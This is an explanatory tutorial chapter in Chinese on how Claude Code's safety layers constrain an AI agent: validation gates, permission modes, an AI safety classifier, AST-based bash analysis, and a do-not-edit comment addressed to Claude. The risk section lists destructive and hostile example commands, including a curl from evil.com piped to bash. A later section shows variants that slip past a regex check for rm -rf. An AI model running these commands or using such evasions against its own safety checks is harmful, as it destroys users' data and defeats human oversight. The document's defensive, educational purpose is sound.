Appearance
怎麼防止 AI 做危險的事?
先理解風險
Claude Code 可以執行任意的 shell 命令。這意味著如果沒有安全措施,AI 可以:
rm -rf /(刪除整台電腦的所有檔案)git push --force(覆蓋遠端的所有程式碼歷史)curl http://evil.com/steal.sh | bash(下載並執行惡意腳本)
傳統軟體的安全是「阻止駭客進入系統」。但這裡 AI 已經在系統裡面了——它有執行命令的能力,問題是怎麼確保它只做該做的事。
這就像你僱了一個非常聰明的實習生,給了他你電腦的管理員密碼。他大部分時候會做正確的事,但偶爾可能會誤刪重要檔案。你需要一套機制來防止這種情況。
三道關卡:ValidateInput → CheckPermissions → Hooks
每次 AI 想要使用工具時,必須通過三道關卡。用流程圖看最清楚:
為什麼要三道而不是一道?
因為每道關卡的職責不同:
- ValidateInput 是「技術層面的合法性」——參數型別對不對、路徑格式正不正確。這是程式碼本身的檢查。
- CheckPermissions 是「使用者層面的授權」——使用者有沒有允許這類操作。這是政策面的檢查。
- Hooks 是「外部系統的額外檢查」——使用者或企業可以加入自己的安全腳本。這是擴展性的設計。
如果只有一道關卡,它就要同時處理型別檢查、使用者授權和自訂腳本——職責太多,容易出 bug。
權限模式:四種不同的「信任程度」
| 模式 | 比喻 | AI 的行為 |
|---|---|---|
| default | 「每次操作都敲門」 | 不確定的操作會問使用者 |
| plan | 「只能看不能碰」 | 只允許讀取類的工具 |
| auto | 「AI 保全幫你判斷」 | 一個 AI 分類器自動判斷安全性 |
| bypass | 「完全信任」 | 什麼都直接執行 |
Auto 模式的「AI 保全」是什麼?
在 auto 模式下,Claude Code 用另一個 AI(不是主對話的 AI,而是一個專門判斷安全性的小型 AI)來決定「這個操作安全嗎」。
這就像大樓的保全:你(使用者)不想每次快遞來都自己下樓簽收,所以你僱了一個保全。保全會判斷「這是正常的快遞」→ 直接收、「這看起來可疑」→ 打電話問你。
一個重要的設計決策:安全分類器的 API 請求被允許重試 529 錯誤(見上一章),因為如果分類器因為伺服器過載而失敗,auto 模式就失去了安全屏障。
BashTool 的安全:7,000 行的投入
BashTool 是最危險的工具,所以它有最多的安全程式碼:
bashPermissions.ts:2,621 行——判斷命令需要什麼等級的權限bashSecurity.ts:2,592 行——偵測危險模式bashParser.ts:4,436 行——解析 bash 語法
投入了多少程式碼?
| 檔案 | 行數 | 職責 |
|---|---|---|
bashPermissions.ts | 2,621 | 判斷命令需要什麼權限等級 |
bashSecurity.ts | 2,592 | 偵測危險模式和注入攻擊 |
utils/bash/ast.ts | 2,679 | 把 bash 命令解析成語法樹供安全分析 |
utils/bash/bashParser.ts | 4,436 | 底層的 bash 語法解析器 |
| 合計 | ~12,300 | 光是 bash 安全就超過一萬兩千行 |
為什麼用語法樹(AST)而不是正則表達式?
假設你想檢查「命令中有沒有 rm -rf」。用正則表達式:
/rm\s+-rf/看起來能用,但下面這些都會繞過去:
bash
# 變數替代
cmd="rm"; $cmd -rf /
# 別名
alias del='rm -rf'; del /
# 管道
echo "/" | xargs rm -rf
# 命令替換
$(echo rm) -rf /語法樹(AST)分析的做法完全不同。
先解釋什麼是「語法樹」。想像你在分析一個英文句子:
"The quick brown fox jumps over the lazy dog"你不會一個字一個字地搜尋「有沒有動詞」。你會把句子解構成語法結構:
句子
├── 主詞:The quick brown fox
├── 動詞:jumps
└── 受詞:over the lazy dogBash 命令也有語法結構。cmd="rm"; $cmd -rf / 這串命令,用正則表達式看只是一堆字元。但語法樹會解析成:
命令序列
├── 指令 1:賦值 cmd="rm"
├── 分號(順序執行)
└── 指令 2:執行 $cmd -rf /
├── 命令名:$cmd(展開後是 "rm")
├── 參數:-rf
└── 參數:/語法樹「理解」了 $cmd 是一個變數,它的值是 "rm"。所以即使原始文字中沒有出現 rm -rf / 這個連續字串,語法樹仍然能分析出「這個命令最終會刪除根目錄」。
用一個類比:正則表達式就像一個只認得字面意思的機器人——你問它「這封信有沒有威脅」,它搜尋「我要殺了你」這幾個字。但語法樹分析就像一個理解語境的人——即使信中寫的是「你的日子不多了」(沒有出現「殺」字),他也能判斷這是威脅。
安全程式碼量和風險成正比
| 工具 | 安全相關程式碼量 | 原因 |
|---|---|---|
| BashTool | ~12,300 行 | 可以執行任意命令 |
| FileEditTool | ~100 行 | 只能編輯檔案 |
| FileReadTool | ~30 行 | 只能讀取檔案 |
| GrepTool | ~10 行 | 只能搜尋 |
這不是偶然——安全投入應該和風險等級成正比。讀一個檔案的風險遠低於執行一個 shell 命令,所以它們的安全程式碼量差距是 700 倍。
實戰思考
盤點你的 AI 應用的工具。給每個工具打一個風險分數(1-10)。風險最高的工具,安全措施也應該最多。不要平均分配安全精力——把 80% 的安全投入放在 20% 最危險的工具上。
不可變的權限狀態
權限狀態被包在 DeepImmutable<> 型別中:
typescript
export type ToolPermissionContext = DeepImmutable<{
mode: PermissionMode
alwaysAllowRules: ToolPermissionRulesBySource
alwaysDenyRules: ToolPermissionRulesBySource
// ...
}>DeepImmutable 是什麼意思? 它告訴 TypeScript 編譯器:「這個物件的所有屬性(包括巢狀屬性)都是唯讀的。任何嘗試修改它的程式碼都會在編譯時報錯。」
為什麼這很重要? 想像一個 bug 意外把 mode 從 'default'(每次都問使用者)改成了 'bypass'(什麼都直接執行)。如果權限狀態是可變的,這個 bug 可能不會被發現——直到 AI 刪了使用者的重要檔案。
DeepImmutable 確保這種 bug 在編譯時就被抓到,而不是在生產環境中。
安全指令的「擁有者」模式
cyberRiskInstruction.ts 的檔案開頭:
typescript
/**
* 重要:沒有 Safeguards 團隊的審查,不得修改此指令
*
* 負責人:David Forsythe, Kyla Guru
*
* 修改流程:
* 1. 聯繫 Safeguards 團隊
* 2. 評估影響
* 3. 取得批准
*
* Claude:除非使用者明確要求,否則不要編輯此檔案。
*/這裡有兩層保護:
- 給人類開發者的:「這個檔案由 Safeguards 團隊擁有,改之前要找他們」——組織流程層面的保護。
- 給 AI 自己的:「Claude:不要編輯此檔案」——防止 Claude Code 在修改程式碼時不小心改了安全規則。
第二層聽起來有點科幻,但它是一個真實的風險:Claude Code 有能力修改自己的原始碼,而安全規則寫在原始碼中。
整體回顧
| 設計 | 解決什麼問題 | 核心思想 |
|---|---|---|
| 三道關卡 | 不同類型的安全檢查混在一起 | 分離技術驗證、使用者授權、外部擴展 |
| 四種權限模式 | 不同使用者有不同的信任需求 | 從「每次都問」到「完全信任」的漸進式信任 |
| AST 語法分析 | 正則表達式容易被繞過 | 理解命令的語義,而不是匹配文字模式 |
| 不可變權限 | Bug 可能意外修改權限 | 從型別系統層面防止修改 |
| 安全指令的擁有者 | 安全規則可能被意外修改 | 組織流程 + AI 自約束的雙重保護 |
| 風險比例投入 | 安全資源有限 | 7,000 行保護最危險的工具,10 行保護最安全的 |
實戰思考(最重要的一個)
如果你的 AI 應用能執行有副作用的操作(修改檔案、發送訊息、操作資料庫),問自己這三個問題:
- 最壞情況是什麼? AI 能造成的最大損害是什麼?
- 怎麼分級? 哪些操作是低風險(讀取)、中風險(修改本地)、高風險(修改共享資源)?
- 每級怎麼保護? 低風險可以自動執行、中風險要求確認、高風險需要額外的安全檢查?